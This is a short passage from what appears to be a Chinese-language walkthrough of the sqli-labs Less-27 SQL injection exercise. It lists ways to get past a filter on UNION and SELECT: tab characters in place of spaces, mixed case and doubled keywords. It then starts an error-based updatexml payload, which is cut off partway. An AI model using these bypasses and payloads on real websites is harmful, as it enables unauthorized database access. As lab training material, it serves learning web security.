Less-27 GET - Error Based- All your UNION and select belong to us 过滤了union 和select的报错注入 查看源码: 使用%09 替换空格,大小写混淆绕过,关键字符,双写等绕过 UNiON,SElecT ununionion seselectlect payload: http://10.10.202.112/sqli/Less-27/?id=1' %09and %09updatexml(null,concat(0x0a,(S